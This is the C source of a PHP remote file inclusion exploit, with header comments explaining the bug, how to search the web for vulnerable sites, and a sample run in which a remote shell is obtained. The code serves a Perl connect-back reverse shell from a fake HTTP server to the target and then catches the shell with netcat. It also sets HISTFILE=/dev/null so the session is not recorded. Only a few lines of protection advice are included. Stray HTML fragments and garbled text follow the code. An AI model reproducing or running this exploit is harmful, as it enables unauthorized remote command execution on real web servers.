/* ** team cots php scripting (file inclusion) poc exploit ** greetings shall go to : bart , caffeine and shady . ** coding : b0x / fabio ** email : fabio@pcbsd.ro , www.pcbsd.ro */ /* A little bit of documentation about the bug : ! 1`st this is not a daemon bug , but a php web-site bug . ------ Original bug description : php remote file inclusion vuln : -------------------------------- [1].A little about php : -php is a multiplatform scriptiong language like : perl , cgi , python , asp . -php has this function : 1. include , that will allow you to include a local or remote php file ( e.g. 'include http://site/file.php'; ) 2. exec($command) that will allow you to execute a internal server system command . ( e.g. uname -a ) [2].Vulnerable : -web sites that have something like http://www.site.com/index.php?body=somepage.php , and -web servers that allow exec() function . -Not vuln : sites that have protection against this , and sites that don`t allow exec() [3].How to spot them : -search on the internet for web sites with .php pages that contain in the link a file inclusion ( e.g. www.vuln.com/index.php?page=index.php www.vuln.com/index.php?blabla=hehe&page=index.php www.vuln.com/index.php?something=hehe&somethingelse=somepage.php ) [4].Exploit : - if you found : www.vuln.com/index.php?blabla=hehe&page=index.php - do this : replace index.php with : http://yoursite.com/script.php - open this with intrnet explorer : www.vuln.com/index.php?blabla=hehe&page=http://yoursite.com/script.php - result : the server will execute script.php [5].script.php -note : this is the script to be executed by server , and must be place on yoursite.com -content : -usage : replace $cmd with your commands , when they are executed it will display : [+]Owned [6].How to protect yourself -disable remote file inclusion ( if not needed ) -disable exec() ( if not needed ) -properly check the included file ( make sure is the one you want to ) Author : b0x / fabio . ----- Ok , now there are more vulnerabilities found by rgod or others , but all remote-file inclusion exploits are based on this principle , and can be exploited with this one . Just use your imagination and be creative :D How to use : ./a.out your_ip_that_is_used_for_call_back fake_httpd_port_on_your_machine call_back_port vulnerable_site_adress page function For instance , here is a sample to PayPal Store : ./a.out x.x.x.x 8001 8002 x.x.x.x index.php 'do=ext&page' How it will work : send a GET http://vulnerable_site_adress/page?function= http://your_ip_that_is_used_for_call_back:fake_httpd_port_on_your_machine/exploited.php Our fake server will reply this on any request : a php script , wich will open a file in /tmp/ called cb.pl (a perl connect back script) then exec("perl your_ip your_port"); , after all is done the file is removed . POC: fabio@dyn-86:~/programare> ./a.out x.x.x.x 8001 8002 x.x.x.x index.php body [!] universal php scripting poc exploit [!] greetings shall go to : bart , caffeine and shady . [!] coding : b0x / fabio [+]Exploiting... [+]Preparing... [+]Stage 2... [+]Got connection from : x.x.x.x on socket 5 . [!]Server vuln ! [+]Shellcode sent... [+]From the inside : uid=99(nobody) gid=4294967295 groups=4294967295 /www/htdocs/ Linux 5.6.7.8 2.6.11.12-xenU-rimu1 #2 Mon Nov 14 22:55:40 UTC 2005 i686 i686i386 GNU/Linux 20:48:45 up 51 days, 8:34, 0 users, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT sh-3.00$ */ #include #include #include #include #include #include #include #include #include #include #include #include #define cbA "use Socket;use FileHandle;$IP = $ARGV[0];$PORT = $ARGV[1];socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname(\"tcp\"));connect(SOCKET,sockaddr_in($PORT,inet_aton($IP)));SOCKET->autoflush();open(STDIN, \">&SOCKET\");open(STDOUT,\">&SOCKET\");open(STDERR,\">&SOCKET\");system(\"id;pwd;uname -a;w;HISTFILE=/dev/null /bin/sh -i\");" #define BACKLOG 1 void sigchld_handler(int s) { while(waitpid(-1, NULL, WNOHANG) > 0); } int exploit(char *localport,char *remote_ip,char *LOCAL_IP,char *pag,char *func,char *L_P){ int sockfd, portno, n; struct sockaddr_in serv_addr; struct hostent *server; char evilcmd[1024]; strcpy(evilcmd,""); strcat(evilcmd,"GET http://"); strcat(evilcmd,remote_ip); strcat(evilcmd,"/"); strcat(evilcmd,pag); strcat(evilcmd,"?"); strcat(evilcmd,func); strcat(evilcmd,"=http://"); strcat(evilcmd,LOCAL_IP); strcat(evilcmd,":"); strcat(evilcmd,L_P); strcat(evilcmd,"/exploited.php HTTP/1.0\r\n\r\n"); portno = 80; sockfd = socket(AF_INET, SOCK_STREAM, 0); if (sockfd < 0) error("ERROR opening socket"); server = gethostbyname(remote_ip); if (server == NULL) { fprintf(stderr,"ERROR, no such host\n"); return -1; } bzero((char *) &serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; bcopy((char *)server->h_addr, (char *)&serv_addr.sin_addr.s_addr, server->h_length); serv_addr.sin_port = htons(portno); if (connect(sockfd,&serv_addr,sizeof(serv_addr)) < 0) return -1; n = write(sockfd,evilcmd,strlen(evilcmd)); if (n < 0) return -1; return 0; } int shell(int localport,char *LOCAL_IP,char *LP,char *ar,char *pag,char *func,char *L_P){ char command[100]; char shellcode[1024]; char ttmp[1024]; strcpy(ttmp,"HTTP/1.1 200 OK\r\nContent-Length: 488\r\nContent_type: Application/Octet-stream,text/html\r\nConnection : close\r\n\r\n"); strcpy(shellcode,""); int injected; injected=0; printf("[+]Preparing...\n"); if (exploit(LP,ar,LOCAL_IP,pag,func,L_P)==-1){ printf("[!]Can`t hack !\n"); return 0; } printf("[+]Stage 2...\n"); fd_set master; // master file descriptor list fd_set read_fds; // temp file descriptor list for select() struct sockaddr_in myaddr; // server address struct sockaddr_in remoteaddr; // client address int fdmax; // maximum file descriptor number int listener; // listening socket descriptor int newfd; // newly accept()ed socket descriptor char buf[256]; // buffer for client data int nbytes; int yes=1; // for setsockopt() SO_REUSEADDR, below socklen_t addrlen; int i, j; FD_ZERO(&master); // clear the master and temp sets FD_ZERO(&read_fds); // get the listener if ((listener = socket(PF_INET, SOCK_STREAM, 0)) == -1) { perror("socket"); exit(1); } // lose the pesky "address already in use" error message if (setsockopt(listener, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1) { perror("setsockopt"); exit(1); } // bind myaddr.sin_family = AF_INET; myaddr.sin_addr.s_addr = INADDR_ANY; myaddr.sin_port = htons(localport); memset(&(myaddr.sin_zero), '\0', 8); if (bind(listener, (struct sockaddr *)&myaddr, sizeof(myaddr)) == -1) { perror("bind"); exit(1); } // listen if (listen(listener, 10) == -1) { perror("listen"); exit(1); } // add the listener to the master set FD_SET(listener, &master); // keep track of the biggest file descriptor fdmax = listener; // so far, it's this one // main loop for(;;) { read_fds = master; // copy it if (select(fdmax+1, &read_fds, NULL, NULL, NULL) == -1) { perror("select"); exit(1); } // run through the existing connections looking for data to read for(i = 0; i <= fdmax; i++) { if (FD_ISSET(i, &read_fds)) { // we got one!! if (i == listener) { // handle new connections addrlen = sizeof(remoteaddr); if ((newfd = accept(listener, (struct sockaddr *)&remoteaddr, &addrlen)) == -1) { perror("accept"); } else { FD_SET(newfd, &master); // add to master set if (newfd > fdmax) { // keep track of the maximum fdmax = newfd; } printf("[+]Got connection from : %s on " "socket %d . \n[!]Server vuln !\n", inet_ntoa(remoteaddr.sin_addr), newfd); } } else { // handle data from a client if ((nbytes = recv(i, buf, sizeof(buf), 0)) <= 0) { // got error or connection closed by client if (nbytes == 0) { // connection closed printf("[!]Connection closed , on socket : \n", i); } else { perror("recv"); } close(i); // bye! FD_CLR(i, &master); // remove from master set } else { // we got some data from a client // send to everyone! // except the listener and ourselves if (send(i, ttmp, strlen(ttmp),0)==-1){ perror("send"); } if (send(i, shellcode, strlen(shellcode), 0) == -1){ perror("send"); injected=2; close(i); FD_CLR(i, &master); exit (0); } else { printf("[+]Shellcode sent...\n"); close(i); FD_CLR(i, &master); injected=1; int aux; sprintf(command, "echo [+]From the inside :;./nc -l -p %s\n", LP); system(command); exit (0); } } } // it's SO UGLY! } } } return 0; } int main(int argc,char *argv[]) { int localport; int localport2; char *LOCAL_IP; char *remote_ip; char *pag; char *func; printf("[!] universal php scripting poc exploit\n[!] greetings shall go to : bart , caffeine and shady .\n[!] coding : b0x / fabio\n"); if (argc < 7) { fprintf(stderr,"usage %s local-ip local-port1 local-port2 remote-ip page function\n", argv[0]); exit(0); } localport=atoi(argv[2]); localport2=atoi(argv[3]); LOCAL_IP=argv[1]; remote_ip=argv[4]; pag=argv[5]; func=argv[6]; printf("[+]Exploiting...\n"); if (shell(localport,LOCAL_IP,argv[3],argv[4],pag,func,argv[2])==-1){ printf("[!]Can`t hack !\n"); return 0; } return 0; }
<span id="7ztzv"></span>
<sub id="7ztzv"></sub>


<span id="7ztzv"></span><form id="7ztzv"></form>


<span id="7ztzv"></span>
    

      

        <address id="7ztzv"></address>
            

ÑÇÖÞÅ·ÃÀÔÚÏß